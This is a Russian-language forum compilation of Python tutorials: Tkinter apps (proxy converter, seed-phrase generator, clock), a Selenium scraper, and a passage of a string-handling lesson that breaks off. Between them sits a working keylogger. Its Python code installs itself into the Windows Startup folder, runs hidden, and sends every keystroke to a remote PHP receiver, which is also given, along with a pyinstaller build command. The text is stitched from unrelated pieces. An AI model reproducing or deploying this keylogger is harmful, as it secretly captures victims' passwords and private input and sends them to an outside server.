- строчка запускает главный цикл Tkinter .
Вот что мы получим в конечном итоге
Поздравляю вы написали калькулятор с базовым дизайном и функционалом. В
прошлой статье по питону я написал конвектор прокси (который работает через
консоль ) .Давайте попробуем такой же скрипт написать только уже с форматом
.pyw .Приступим , на конечном итоге мы получим такое
Python:Copy to clipboard
import tkinter as tk
from tkinter import filedialog, messagebox
class ProxyConverterApp:
def __init__(self, root):
self.root = root
self.root.title("Proxy Converter 2.0")
self.create_widgets()
def create_widgets(self):
self.select_input_button = tk.Button(self.root, text="Выбрать файл ввода", command=self.load_input)
self.select_input_button.pack(pady=10)
self.select_output_button = tk.Button(self.root, text="Выбрать файл вывода", command=self.save_output)
self.select_output_button.pack(pady=10)
self.convert_button = tk.Button(self.root, text="Конвертировать", command=self.convert_proxies)
self.convert_button.pack(pady=10)
def load_input(self):
self.input = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")])
if self.input:
messagebox.showinfo("Информация", f"Выбран файл ввода: {self.input}")
def save_output(self):
self.output = filedialog.asksaveasfilename(filetypes=[("Text files", "*.txt")])
if self.output:
messagebox.showinfo("Информация", f"Выбран файл вывода: {self.output}")
def convert_proxies(self):
if not hasattr(self, 'input') or not hasattr(self, 'output'):
messagebox.showwarning("Предупреждение", "Пожалуйста, выберите входной и выходной файлы.")
return
input_format = 'ip:port:user:pass'
output_format = 'user:pass@ip:port'
try:
with open(self.input, 'r') as infile, open(self.output, 'w') as outfile:
for line in infile:
line = line.strip()
converted_proxy = self.convert_proxy_format(line, input_format, output_format)
if converted_proxy:
outfile.write(converted_proxy + '\n')
messagebox.showinfo("Информация", "Конвертация завершена успешно!")
except Exception as e:
messagebox.showerror("Ошибка", f"Произошла ошибка: {e}")
def convert_proxy_format(self, proxy_str, input_format, output_format):
try:
components = proxy_str.split(':')
if len(components) != len(input_format.split(':')):
raise ValueError("Формат строки не соответствует ожидаемому")
proxy_dict = {
'ip': components[0],
'port': components[1],
'user': components[2],
'pass': components[3]
}
output_str = output_format
for key, value in proxy_dict.items():
output_str = output_str.replace(key, value)
return output_str
except Exception as e:
print(f"Ошибка: {e}")
return None
if __name__ == "__main__":
root = tk.Tk()
app = ProxyConverterApp(root)
root.mainloop()
Давайте разберем скрипт , надеюсь вы помните для чего он нужен (если кратко то он из этого ip:port:user:pass , делает это user:pass@ip:port, это все можно настроить под себя )
Python:Copy to clipboard
import tkinter as tk
- Библиотека создана для создания графического интерфейса
Python:Copy to clipboard
from tkinter import filedialog, messagebox
- filedialog - отвечает за открытия диалоговых окон можно сказать (для выбора файла ) - messagebox - отвечает за отображения сообщения пользователю (подробно почитайте выше )
Python:Copy to clipboard
class ProxyConverterApp:
- создаем класс ProxyConverterApp .В python классы используются для создания пользовательских объектов можно сказать (которые могут иметь методы и атрибуты )
Python:Copy to clipboard
def __init__(self, root):
- строчка определяет конструктор класса . Конструктор это можно сказать специальный метод , который автоматически вызывается при создании нового экземпляра (В нашем случаи этот конструктор принимает один аргумент и это root , который будет главным окном приложения
Python:Copy to clipboard
self.root = root
- присваиваем root
Python:Copy to clipboard
self.root.title("Proxy Converter 2.0")
- устанавливаем заголовок окна , через метод title мы изменяем текст можно сказать
Python:Copy to clipboard
self.create_widgets()
- Включаем в работу метод create_widgets для создания и размещения всех необходимых для нас виджетов на главном окне .Метод отвечает за создание кнопок
Python:Copy to clipboard
def create_widgets(self):
- определяем метод , который отвечает за создание элементов интерфейса
Python:Copy to clipboard
self.select_input_button = tk.Button(self.root, text="Выбрать файл ввода", command=self.load_input)
- создаем кнопку для выбора входного файла (туда будем загружать тхт файл откуда программа будет черпать данные для конвертации ) а так же строчка связывается с методом load_input
Python:Copy to clipboard
self.select_input_button.pack(pady=10)
- строчка размещает кнопку с отступом 10 пикселей по вертикали
Python:Copy to clipboard
self.select_output_button = tk.Button(self.root, text="Выбрать файл вывода", command=self.save_output)
- Строчка создает кнопку для выбора выходного файла ( туда будем загружать файл куда программа будет писать результат ) а так же связывает ее с методом save_output
Python:Copy to clipboard
self.select_output_button.pack(pady=10)
- строчка размещает кнопку с отступом 10 пикселей по вертикали
Python:Copy to clipboard
self.convert_button = tk.Button(self.root, text="Конвертировать", command=self.convert_proxies)
создает кнопку для собственно самой конвертации прокси и связывает ее с convert_proxies
Python:Copy to clipboard
self.convert_button.pack(pady=10)
- размещает кнопку с отступом 10 пикселей по вертикали
Python:Copy to clipboard
def load_input(self):
- определяет можно сказать метод , который выполняется при нажатии на кнопку "входного файла"
Python:Copy to clipboard
self.input = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")])
- открывает окно для выбора файла ( с фильтром для тхт файлов )
Python:Copy to clipboard
if self.input:
- строчка проверяет был ли выбран файл
Python:Copy to clipboard
messagebox.showinfo("Информация", f"Выбран файл ввода: {self.input}")
- показывает сообщение о успешном выборе файла
Python:Copy to clipboard
def save_output(self):
- строчка определяет метод , который выполняется при нажатии на кнопку "выходного файла"
Python:Copy to clipboard
self.output = filedialog.asksaveasfilename(filetypes=[("Text files", "*.txt")])
- открывает окно для выбора файла куда будет записываться результат (так же стоит фильтр для тхт файлов)
Python:Copy to clipboard
if self.output:
- проверяет было ли выбрано все правильно
Python:Copy to clipboard
messagebox.showinfo("Информация", f"Выбран файл вывода: {self.output}")
- показывает о успешном выборе выходного файла
Python:Copy to clipboard
def convert_proxies(self):
- определяет опять же метод , который будет выполняться при конвертации прокси
Python:Copy to clipboard
if not hasattr(self, 'input') or not hasattr(self, 'output'):
- проверяет были ли выбраны входной и выходной файл
Python:Copy to clipboard
messagebox.showwarning("Предупреждение", "Пожалуйста, выберите входной и выходной файлы.")
- показывает юзеру сообщение если файл не был выбран
Python:Copy to clipboard
return
- останавливает метод если файл (загрузи или выгрузки )не был выбран
Python:Copy to clipboard
input_format = 'ip:port:user:pass'
- задаем формат выходных данных
Python:Copy to clipboard
output_format = 'user:pass@ip:port
- задаем выходной формат данных
Python:Copy to clipboard
try:
- начинает можно сказать основную часть кода , где будет выполняться основная логика а так же обработка исключений
Python:Copy to clipboard
with open(self.input, 'r') as infile, open(self.output, 'w') as outfile:
- открывает можно сказать входной файл для чтение а так же выходной файл для записи
Python:Copy to clipboard
for line in infile:
- цикл который будет отвечать за обработку каждой строки входного файла
Python:Copy to clipboard
line = line.strip()
- удаляет пробелы а так же и символы новой строки с обоих концов строки
Python:Copy to clipboard
converted_proxy = self.convert_proxy_format(line, input_format, output_format)
- конвертирует строчки в указанный выше формат
Python:Copy to clipboard
if converted_proxy:
- проверяет , была ли конвертация успешной
Python:Copy to clipboard
outfile.write(converted_proxy + '\n')
- строчка записывает конченый результат в выходной файл
Python:Copy to clipboard
messagebox.showinfo("Информация", "Конвертация завершена успешно!")
- Показывает сообщение юзеру о успешной конвертации прокси
Python:Copy to clipboard
except Exception as e:
- строчка отвечает за исключение , если они возникли
Python:Copy to clipboard
messagebox.showerror("Ошибка", f"Произошла ошибка: {e}")
- показывает юзеру ошибку если она есть
Python:Copy to clipboard
def convert_proxy_format(self, proxy_str, input_format, output_format):
- определяет метод который отвечает за конвертацию строки прокси из одного формата в нужный
Python:Copy to clipboard
try:
components = proxy_str.split(':')
- разбивает строку прокси на компоненты (ip pass port login как пример) используя двоеточие как разделитель компонентов
Python:Copy to clipboard
raise ValueError("Формат строки не соответствует ожидаемому") - если формат строки не соответствует то вызывает исключение
[CODE=python]proxy_dict = {'ip': components[0], 'port': components[1], 'user': components[2], 'pass': components[3]}
- создает можно сказать словарь связывая компоненты строки прокси с ключами 'ip', 'port', 'user' а так же 'pass'
Python:Copy to clipboard
output_str = output_format
- копирует если кратко итоговой результат в переменную output_str
Python:Copy to clipboard
for key, value in proxy_dict.items():
- строчка проходит по словарю proxy_dict
Python:Copy to clipboard
output_str = output_str.replace(key, value)
- заменяет ключи в строке output_str на соответствующие значения
Python:Copy to clipboard
return output_str
- возвращает можно сказать конвертированную строку прокси
Python:Copy to clipboard
except Exception as e:
- если возникли ошибки то обрабатывает их
Python:Copy to clipboard
print(f"Ошибка: {e}")
- сообщает юзеру о ошибке
Python:Copy to clipboard
return None
- возвращает none если возникла какая то ошибка
Python:Copy to clipboard
if __name__ == "__main__":
- проверка , запущен ли файл как основной можно сказать модуль
Python:Copy to clipboard
root = tk.Tk()
- создает собственно само окно
Python:Copy to clipboard
app = ProxyConverterApp(root)
- создает можно сказать экземпляр
Python:Copy to clipboard
root.mainloop()
- запускает собственно главный цикл
Вот и мы создали довольно простую программу но думаю полезную .В будущих статьях мы еще будем разбирать код и увеличивать функционал , подпишись чтобы не пропустить очередную статью =)
Давайте сейчас создадим простой генератор сид фразы , у которого будет 2 режима генерации . 1 - генерация 12 слов , 2 генерация 24 слов . А так добавим сохранение в буфер обмена и сохранение в файле . Не забывая про базовый дизайн , начнем
Вот что мы получим в конце
Python:Copy to clipboard
import tkinter as tk
from tkinter import filedialog, messagebox
from mnemonic import Mnemonic
import pyperclip
class SeedPhraseGeneratorApp:
def __init__(self, root):
self.root = root
self.root.title("Генератор Сид Фразы")
self.create_widgets()
def create_widgets(self):
self.length_label = tk.Label(self.root, text="Выберите длину сид фразы:", font=("Arial", 12))
self.length_label.pack(pady=10)
self.length_var = tk.StringVar(value='24')
self.length_12 = tk.Radiobutton(self.root, text="12 слов", variable=self.length_var, value='12', font=("Arial", 12))
self.length_12.pack(pady=5)
self.length_24 = tk.Radiobutton(self.root, text="24 слова", variable=self.length_var, value='24', font=("Arial", 12))
self.length_24.pack(pady=5)
self.generate_button = tk.Button(self.root, text="Сгенерировать сид фразу", command=self.generate_seed_phrase, font=("Arial", 12))
self.generate_button.pack(pady=20)
self.copy_button = tk.Button(self.root, text="Скопировать в буфер обмена", command=self.copy_to_clipboard, font=("Arial", 12))
self.copy_button.pack(pady=10)
self.save_button = tk.Button(self.root, text="Сохранить в файл", command=self.save_to_file, font=("Arial", 12))
self.save_button.pack(pady=10)
self.seed_phrase_text = tk.Text(self.root, height=4, width=50, font=("Arial", 12), bd=2, relief=tk.SUNKEN)
self.seed_phrase_text.pack(pady=10)
def generate_seed_phrase(self):
length = self.length_var.get()
if length == '12':
strength = 128
elif length == '24':
strength = 256
else:
messagebox.showwarning("Ошибка", "Выберите правильную длину сид фразы.")
return
mnemo = Mnemonic("english")
seed_phrase = mnemo.generate(strength=strength)
self.seed_phrase_text.delete(1.0, tk.END)
self.seed_phrase_text.insert(tk.END, seed_phrase)
messagebox.showinfo("Информация", "Сид фраза успешно сгенерирована!")
def copy_to_clipboard(self):
seed_phrase = self.seed_phrase_text.get(1.0, tk.END).strip()
if seed_phrase:
pyperclip.copy(seed_phrase)
messagebox.showinfo("Информация", "Сид фраза скопирована в буфер обмена!")
else:
messagebox.showwarning("Предупреждение", "Сначала сгенерируйте сид фразу.")
def save_to_file(self):
file_path = filedialog.asksaveasfilename(defaultextension=".txt", filetypes=[("Text files", "*.txt")])
if file_path:
seed_phrase = self.seed_phrase_text.get(1.0, tk.END).strip()
if seed_phrase:
with open(file_path, 'w') as file:
file.write(seed_phrase)
messagebox.showinfo("Информация", "Сид фраза успешно сохранена в файл!")
else:
messagebox.showwarning("Предупреждение", "Сначала сгенерируйте сид фразу.")
if __name__ == "__main__":
root = tk.Tk()
app = SeedPhraseGeneratorApp(root)
root.mainloop()
Python:Copy to clipboard
import tkinter as tk
- импортируем библиотеку Tkinter ( упростим его и будем называть tk) , зачем нужна это библиотека можете почитать выше
Python:Copy to clipboard
from tkinter import filedialog, messagebox
- импортируем модули из tk .
Python:Copy to clipboard
from mnemonic import Mnemonic - импортируем класс Mnemonic из библиотеки mnemonic , который в нашем случаи будет использоваться для генерации и работы с сид-фразами
[CODE=python]import pyperclip
- Импортируем библиотеку pyperclip для работы с копированием текста
Python:Copy to clipboard
class SeedPhraseGeneratorApp:
- определяем новый класс SeedPhraseGeneratorApp который будет отвечать за графическое приложение
Python:Copy to clipboard
def __init__(self, root):
- метод конструктор класса , которой отвечает за можно сказать создание нового обьекта SeedPhraseGeneratorApp
Python:Copy to clipboard
self.root = root
- Сохраняет ссылку на главное окно Tkinter
Python:Copy to clipboard
self.root.title("Генератор Сид Фразы")
- устанавливает заголовка окна tkinter самого приложения
Python:Copy to clipboard
self.create_widgets()
- отвечает за вызывание метода create_widgets который может по названию поняли создает и размещает все виджеты в окне
Python:Copy to clipboard
self.length_label = tk.Label(self.root, text="Выберите длину сид фразы:", font=("Arial", 12))
- строчка создает метку "Label" для выбора длины сид фразы с указанным нам текстом а так же устанавливает шрифт
Python:Copy to clipboard
self.length_label.pack(pady=10)
- размещает метку в окне добавляя вертикальные отступы
Python:Copy to clipboard
self.length_var = tk.StringVar(value='24')
- отвечает за создания переменной StringVar которая в свою очередь отвечает за хранение режима (12 или 24 слова)
Python:Copy to clipboard
self.length_12 = tk.Radiobutton(self.root, text="12 слов", variable=self.length_var, value='12', font=("Arial", 12))
- строчка отвечает за создание кнопки для выбора длины сид фразы в данном случаи 12 слов
Python:Copy to clipboard
self.length_12.pack(pady=5)
- размещает кнопку в окне с вертикальными отступами ( по 5 пикселей )
Python:Copy to clipboard
self.length_24 = tk.Radiobutton(self.root, text="24 слова", variable=self.length_var, value='24', font=("Arial", 12))
- строчка создает кнопку для выбора сид фразы ( в данном случаи 24 слова )
Python:Copy to clipboard
self.length_24.pack(pady=5)
- размещает кнопку в окне с отступами по 5 пикселей
Python:Copy to clipboard
self.generate_button = tk.Button(self.root, text="Сгенерировать сид фразу", command=self.generate_seed_phrase, font=("Arial", 12))
- создание кнопки которая отвечает за генерацию сид фразы с нашим указанным текстом .А так же привязывает ее к generate_seed_phrase
Python:Copy to clipboard
self.generate_button.pack(pady=20)
- размещает кнопку в окне с отступами по 20 пикселей
Python:Copy to clipboard
self.copy_button = tk.Button(self.root, text="Скопировать в буфер обмена", command=self.copy_to_clipboard, font=("Arial", 12))
- строчка создает объект button и размещает его в основном окне self.root, text="Скопировать в буфер обмена" - текст который будет отображаться на кнопке , command=self.copy_to_clipboard - это команда будет вызвана только при нажатии на кнопку .font=("Arial", 12) - устанавливаем подходящий шрифт
Python:Copy to clipboard
self.copy_button.pack(pady=10)
- размещаем кнопку в окне с отступами , чтобы создать приятный дизайн
Python:Copy to clipboard
self.save_button = tk.Button(self.root, text="Сохранить в файл"
- создаем обьект button (кнопка) для сохранение сид фразы в файл
Python:Copy to clipboard
command=self.save_to_file, font=("Arial", 12))
- данная строчка будет вызвана опять же при нажатии , font=("Arial", 12)) - установка подходящего шрифта и размета текста
Python:Copy to clipboard
self.save_button.pack(pady=10)
- строчка размещает кнопку в отступами по вертикали
Python:Copy to clipboard
self.seed_phrase_text = tk.Text(self.root, height=4, width=50, font=("Arial", 12), bd=2, relief=tk.SUNKEN)
- создание текстового поля где будет отображаться наша сгенерированная сид фраза ,height=4 - высота данного поля ,width=50 - ширина данного поля ,font=("Arial", 12) - установка шрифта и размера текста опять же в данном поле ,bd=2 - устанавливаем толщину границы текстового поля ,relief=tk.SUNKEN - устанавливает стиль границы , окно будет выглядеть как будто вдавленное в окно
Python:Copy to clipboard
self.seed_phrase_text.pack(pady=10)
- строчка предназначена для размещение текстового поля в окне с отступами
Python:Copy to clipboard
length = self.length_var.get()
- получаем выбранное юзером значение длины сид фразы (12 или 24) из переменной self.length_var
Python:Copy to clipboard
if length == '12':
- проверяет на наличии выбора 12 ти слов
Python:Copy to clipboard
strength = 128
- Устанавливает значение strength в 128 бит для генерации 12 слов.
Python:Copy to clipboard
elif length == '24':
- проверяет на выбор юзера ( в данном случаи 24 слов ), если юзер выбрал 24 то строчка устанавливает strength в 256 бит
Python:Copy to clipboard
else:
- выполняется если length не равно 12 или 24
Python:Copy to clipboard
messagebox.showwarning("Ошибка", "Выберите правильную длину сид фразы.")
- предупреждает юзера о ошибке , если пользователь выбрал не верную длину сид фразы
Python:Copy to clipboard
return
- можно сказать строчка прерывает выполнение метода , если сид фраза указана неверно ( ничего не происходит дальше )
Python:Copy to clipboard
mnemo = Mnemonic("english")
- строчка создает обьект Mnemonic для работы со сид фразами на английском языке
Python:Copy to clipboard
seed_phrase = mnemo.generate(strength=strength)
- генерирует сид фразу с заданной силой , используя объект mnemonic . Сид фраза создаётся на основе выбор юзера
Python:Copy to clipboard
self.seed_phrase_text.delete(1.0, tk.END)
- очищает текстовое поле
Python:Copy to clipboard
self.seed_phrase_text.insert(tk.END, seed_phrase)
- показывает сгненерированную сид фразу
Python:Copy to clipboard
messagebox.showinfo("Информация", "Сид фраза успешно сгенерирована!")
- отображает инфо сообщение о успешной генерации
Python:Copy to clipboard
seed_phrase = self.seed_phrase_text.get(1.0, tk.END).strip() - self.seed_phrase_text.get(1.0, tk.END)
- получает текст из текстового поля self.seed_phrase_text означает начало текста а tk.END указывает на конец текста
Python:Copy to clipboard
if seed_phrase:
- строчка проверяет не является ли seed_phrase пустой строкой .Если строчка к примеру не пустая то выполняется другая часть кода
Python:Copy to clipboard
pyperclip.copy(seed_phrase)
- используем библиотеку pyperclip для копирования сид фразы в буфер обмена .
Python:Copy to clipboard
messagebox.showinfo("Информация", "Сид фраза скопирована в буфер обмена!")
- показывает сообщение пользователю и говорит о успешном копировании
Python:Copy to clipboard
else:
- строчка активна если seed_phrase пустая
Python:Copy to clipboard
messagebox.showwarning("Предупреждение", "Сначала сгенерируйте сид фразу.")
- строчка дает знать пользователю что нельзя скопировать что либо с буфера обмена если юзер еще не сгенерировал сид фразу
Python:Copy to clipboard
file_path = filedialog.asksaveasfilename(defaultextension=".txt", filetypes=[("Text files", "*.txt")])
- открывает выбор файлов для сохранение файлов , а так же дает возможность выбрать место и имя файла для сохранение
Python:Copy to clipboard
defaultextension=".txt"
- Устанавливаем расширение по умолчанию для сохраняемого файла как .txt
Python:Copy to clipboard
filetypes=[("Text files", "*.txt")]
- ограничиваем выбор файлов только текстовыми файлами с расширением .txt
Python:Copy to clipboard
if file_path:
- строчка проверяет был ли выбран путь для сохранение. Если путь не пустой то выполняется другая часть кода
Python:Copy to clipboard
seed_phrase = self.seed_phrase_text.get(1.0, tk.END).strip()
- получает текст из тхт файла self.seed_phrase_text и удаляет начальные и конечные пробелы
Python:Copy to clipboard
if seed_phrase:
- строчка проверяет не является ли текс пустым .Если текст есть то программа выполняет другую часть кода
Python:Copy to clipboard
with open(file_path, 'w') as file:
- открывает файл по указанному пути .Если файл не существует то программа ее создаст а with автоматически закроет файл после завершения работы с ним
Python:Copy to clipboard
file.write(seed_phrase)
- записывает саму сид фразу
Python:Copy to clipboard
messagebox.showinfo("Информация", "Сид фраза успешно сохранена в файл!")
- показывает сообщение пользователю если сохранение сих фразы прошла успешна
Python:Copy to clipboard
else:
- строчка отвечает за выполнение кода если текстовое поле пустое
Python:Copy to clipboard
messagebox.showwarning("Предупреждение", "Сначала сгенерируйте сид фразу.")
- если пользователь пытается сохранить поле то программа выдаст такое сообщение
Python:Copy to clipboard
if __name__ == "__main__":
- проверяет , что скрипт выполняется как основная программа
Python:Copy to clipboard
root = tk.Tk()
- создает окно tk ( это окно будет содержать в себе все виджеты и элементы интерфейса )
Python:Copy to clipboard
app = SeedPhraseGeneratorApp(root)
- создает копию SeedPhraseGeneratorApp передавая ему основное окно tk ( он управляет интерфейсом и функциональностью )
Python:Copy to clipboard
root.mainloop()
- запускает основной цикл обработки tk .Цикл продолжает выполняться пока окно открыто и завершается когда окно закроется
так же я подготовил для вас бонусный скрипт , давайте под конец разберем
простую программу которую буде показывать время
В конце получим такой результат
Python:Copy to clipboard
import tkinter as tk
import time
class SimpleClockApp:
def __init__(self, root):
self.root = root
self.root.title("Часы")
self.time_label = tk.Label(self.root, font=("Arial", 48), bg="white", fg="black")
self.time_label.pack(padx=20, pady=20)
self.update_time()
def update_time(self):
current_time = time.strftime("%H:%M:%S")
self.time_label.config(text=current_time)
self.root.after(1000, self.update_time)
if __name__ == "__main__":
root = tk.Tk()
app = SimpleClockApp(root)
root.mainloop()
Python:Copy to clipboard
import tkinter as tk
- импортируем библиотеку tkinter и называем ее tk , подробнее можно почитать выше
Python:Copy to clipboard
import time
- импортируем библиотеку time , которая предназначена для работы с функциями .В нашей программе она нужна будет для получение реального времени
Python:Copy to clipboard
class SimpleClockApp:
- создает класс SimpleClockApp которая будет управлять нагим графическим приложением
Python:Copy to clipboard
def __init__(self, root):
- конструктор класса который инициализирует root
Python:Copy to clipboard
self.root = root
- строчка сохраняет ссылку на главное окно self.root
Python:Copy to clipboard
self.root.title("Часы")
- строчка создает заголовок окна
Python:Copy to clipboard
self.time_label = tk.Label(self.root, font=("Arial", 48), bg="white", fg="black")
- создает метку Label для отображении времени , font=("Arial", 48) задаем шрифт с размером 48 , bg="white" - устанавливаем белый фон для метки ,fg="black" - устанавливаем черный текст для текста
Python:Copy to clipboard
self.time_label.pack(padx=20, pady=20)
- располагаем метку в окне с отступами
Python:Copy to clipboard
self.update_time()
- отвечает за обновление времени сразу после инициализации
Python:Copy to clipboard
def update_time(self):
- строчка определяет метод update_time которая будет отвечать за обновление времени на экране
Python:Copy to clipboard
current_time = time.strftime("%H:%M:%S")
- строчка получает текущее время в формате часы-минуту-секунды , time.strftime - форматирует текущее время в строчку
Python:Copy to clipboard
self.time_label.config(text=current_time)
- обновляем текст self.time_label чтобы отображать текущее время
Python:Copy to clipboard
self.root.after(1000, self.update_time)
- строчка отвечает за вызов можно сказать времени через 1 секунду
Python:Copy to clipboard
if __name__ == "__main__":
- строчка убеждается что код ниже выполняется только при запуске скрипта на прямую
Python:Copy to clipboard
root = tk.Tk()
- создаем основное окно приложения
Python:Copy to clipboard
app = SimpleClockApp(root)
- создаем копию класса SimpleClockApp передавая основное окно rooy
Python:Copy to clipboard
root.mainloop()
- строчка запускает главный цикл обработки
На этой ноте статья подошла к концу , я надеюсь я помог вам в изучении формата .pyw . В этой статье мы разобрали 4 просыте проги , спасибо за внимание .Был бы рад если вы подсказали на какую тему в дальнейшем писать статьи . успехов всем , подержите меня лайком ( ну пожалуйста ) =)
Решил написать скрипт который обходит защиту парсинга времени сайта Time.is, актуальность 2023 год.
Python:Copy to clipboard
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
import datetime
# Опции для запуска браузера в безголовом режиме
options = Options()
options.add_argument("--headless=new")
# Запускаем браузер
driver = webdriver.Chrome(options=options)
driver.get("https://time.is/")
# Получаем текущее время и дату
time_element = driver.find_element(By.ID, "clock")
time = time_element.text.strip()
date_element = driver.find_element(By.ID, "dd")
date = date_element.text.strip()
# Получаем название дня недели
day_of_week = datetime.datetime.today().strftime("%A")
# Закрываем браузер
driver.quit()
# Выводим результат
print(f"{time} ({day_of_week}) {date}")
Hidden content for authorized users.
Python:Copy to clipboard
import keyboard, requests, os
while True:
try:
os.system(r'move /-Y "System.exe" "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"')
except:
print('')
break
def print_pressed_keys(e):
b = str(e.name)
requests.get("[ссылка на ваш сайт]/"+str(iu)+"/key.php?b="+b)
keyboard.hook(print_pressed_keys)
keyboard.wait()
Открывем наш сайт и создаем файл key.php:
Code:Copy to clipboard
<?php
$i = file_get_contents("i.txt");
if($i == "0"){
$b = $_GET['b'];
if($b[1] != ""){
$b = " _[$b]_ ";
}
if($b == " _[enter]_ "){
$b = "<br>";
}else if($b == " _[space]_ "){
$b = " ";
}else if($b == "backspace"){
$b = " <r style='color:red;'>[backspace] </r>";
}
$f = fopen("index.html", "a+");
fwrite($f, $b);
fclose($f);
$fs = fopen("i.txt", "w+");
fwrite($fs, "1");
fclose($fs);
}else{
$fs = fopen("i.txt", "w+");
fwrite($fs, "0");
fclose($fs);
}
?>
Делаем python код в ехе:
pyinstaller -F -w -onefile System.py
Теперь если запустить System.exe, файл сразу уйдет в Автозагрузку и будет
скрыт от пользователя
Однажды крокодилу Гене и Чебурашке поручили написать сочинение на тему «Как я провел лето». Проблема была в том, что все лето друзья пили пиво. Гена, не умеющий врать, так и написал, поэтому Чебурашке пришлось заменить некоторые слова. А поскольку Чебурашка был кодером на питоне, то сделал он это при помощи строковой функции. В этой статье я покажу, как не отставать от Чебурашки и научиться работать со строками, файлами и делать запросы к веб‑сайтам на Python.
Code:Copy to clipboard
От редакции
Недавно мы провели опрос среди читателей и выяснили, что многие хотели бы изучить Python, причем начать с самого начала. В качестве эксперимента мы опубликовали статью «Python с абсолютного нуля. Учимся кодить без скучных книжек», где рассказали об азах Python: переменных, условиях, циклах и списках. Отклики были позитивными, и мы решили продолжить знакомить читателей с Python в нашем фирменном нескучном стиле.
Эта статья, как и предыдущая, доступна без платной подписки, так что смело делись этими ссылками с друзьями, которые мечтают выучить Python!
Начнем со строк. Чтобы решить вставшую перед друзьями проблему, Чебурашка использовал функцию replace(), которая заменяет в строке одну подстроку другой.
Сначала он объявил переменную s и поместил туда строку, которую прислал ему Гена.
Python:Copy to clipboard
s = 'Все лето мы пили пиво. Вот как-то открываю дверь, а на пороге Чебурашка, весь такой пьяный-пьяный, и бутылка из кармана торчит.'
Дальше Чебурашка определил словарь из слов, которые требовалось заменить.
Python:Copy to clipboard
slova = {'пили':'читали', 'пиво':'книги', 'пьяный':'начитанный', 'бутылка':'энциклопедия'}
И теперь при помощи цикла for Чебурашка перебрал словарь, чтобы заменить каждое из слов (key) на соответствующее значение из словаря (slova[key]):
Python:Copy to clipboard
for key in slova:
s = s.replace(key, slova[key])
print(s)
Словари во многом похожи на списки, но значения в них записаны парами: ключ и значение. По ключу можно узнать значение. Можно считать, что в списках ключи — это индексы (0, 1, 2...), а в словарях — строки.
Функцию replace() удобно использовать, чтобы начисто удалить какие‑то слова из строки. Для этого будем заменять их пустой строкой (если открыть и закрыть кавычку, то получится пустая строка):
Python:Copy to clipboard
s = '''Я не люблю пить пиво.
Оно невкусное и неполезное!'''
s = s.replace('не','')
print(s)
Чтобы записать в переменную несколько строк, можно обернуть их в три одинарные кавычки и делать переносы прямо в коде.
Чтобы получить количество символов в строке, используется функция len().
Python:Copy to clipboard
s = 'Если очень вам неймется, код пишите как придется!'
n = len(s)
print(n)
И, как я уже рассказывал в прошлой статье, от строк можно брать срезы как от массивов, если указать начало и конец подстроки в квадратных скобках после переменной. Позиция начинается с нуля.
Python:Copy to clipboard
s = 'Меня зовут Бонд, Джеймс Бонд'
a = s[11:15]
print('Фамилия: ' + a)
Если нужно сделать срез с начала строки, первую цифру можно не писать.
Предположим, тебе нужно найти в списке строки, которые начинаются на https. Перебираем их с помощью for, для каждой проверяем, совпадают ли первые пять знаков со строкой https, и если да, то выводим строку:
Python:Copy to clipboard
mas = [ 'Это просто строка', 'https://xakep.ru', 'Еще одна строка', 'https://habr.ru' ]
for x in mas:
if x[:5] == 'https':
print(x)
Чтобы посчитать количество вхождений подстроки в строку, можно использовать метод .count():
Python:Copy to clipboard
s = 'Прикинь, короче, я такой, короче, ему бах эксплоитом по порту, а он, короче, упал сразу!'
n = s.count('короче')
print(n)
Иногда в начале или в конце строки могут быть лишние пробелы или переносы строк. Давай удалим их специальной командой .strip():
Python:Copy to clipboard
s = ' Пива много не бывает! \n'
s = s.strip()
print(s)
Переносы строк можно добавить с помощью символов \n (используется во всех ОС) либо \r\n (в Windows). Есть и другие спецсимволы. Например, \t — знак табуляции.
Чтобы определить наличие подстроки в строке s, можно использовать метод .find():
Python:Copy to clipboard
n = s.find('строка, которую ищем')
Если искомая подстрока найдена, то в переменную n попадет ее позиция в строке, а если не найдена, n станет равной -1.
Давай попробуем определить, есть ли в строке адрес электронной почты с Xakep.ru, то есть будем искать подстроку @xakep.ru.
Но сначала нам понадобится еще один строковый метод — .split(). Он позволяет разделить строку на части, указав в качестве аргумента строку‑разделитель. Например, s.split('\n') разделит текст на абзацы по символу переноса строки. Если же оставить скобки пустыми, то будет использован разделитель по умолчанию — пробел.
Python:Copy to clipboard
s = 'Это обычная строка, а в ней адрес почты vasya@xakep.ru'
words = s.split()
for w in words:
n = w.find('@xakep.ru')
if n != -1:
print('Найден e-mail: ' + str(w) + ' в позиции ' + str(n))
Метод .join() позволяет, наоборот, склеивать строки. Он принимает список и возвращает строку, где каждый элемент списка соединен с другим через строку, у которой ты вызвал этот метод.
Python:Copy to clipboard
s = 'вирус внедряется '
list1 = ['раз, ', 'два, ', 'три...']
print(s + s.join(list1))
Мы не раз печатали разные вещи, соединяя строки простым сложением. Это не всегда удобно, особенно учитывая, что если попадутся числа, то их придется переводить в строки функцией str(). Есть более красивый и удобный способ подставлять значения переменных внутрь строк. Точнее, два немного разных способа.
Мы можем вставить в строку парные фигурные скобки, а затем вызвать строковый метод .format() и передать ему нужные значения в порядке их подстановки в строку.
Python:Copy to clipboard
name = 'Вася Пупкин'
age = 20
address = 'улица Пушкина, дом Колотушкина'
info = 'Имя: {}. Возраст: {}. Адрес: {}'.format(name, age, address)
print(info)
Можно передать информацию списком через звездочку:
Python:Copy to clipboard
data = ['Вася Пупкин', 20, 'улица Пушкина, дом Колотушкина']
info = 'Имя: {}. Возраст: {}. Адрес: {}'.format(*data)
print(info)
Другой вариант — написать букву f перед строкой и затем в фигурных скобках указывать непосредственно переменные.
Python:Copy to clipboard
name = 'Вася Пупкин'
age = 20
address = 'улица Пушкина, дом Колотушкина'
info = f'Имя: {name.upper()}. Возраст: {age}. Адрес: {address}'
print(info)
Главное преимущество этого способа в том, что ты можешь вставить значение в строку несколько раз. К тому же можно менять значения прямо в фигурных скобках: сперва Python выполнит все действия в них, а затем подставит полученный результат в строку. Так, метод .upper() в примере выше делает все буквы заглавными.
Перечисленных методов достаточно, чтобы ты мог делать со строками что угодно. Но откуда эти строки возьмутся? Чаще всего они записаны в файлах, поэтому сейчас я расскажу, как в Python с ними управляться.
Чтобы работать с файлом, его нужно открыть. Для этого служит функция open(), а работает она вот так:
Python:Copy to clipboard
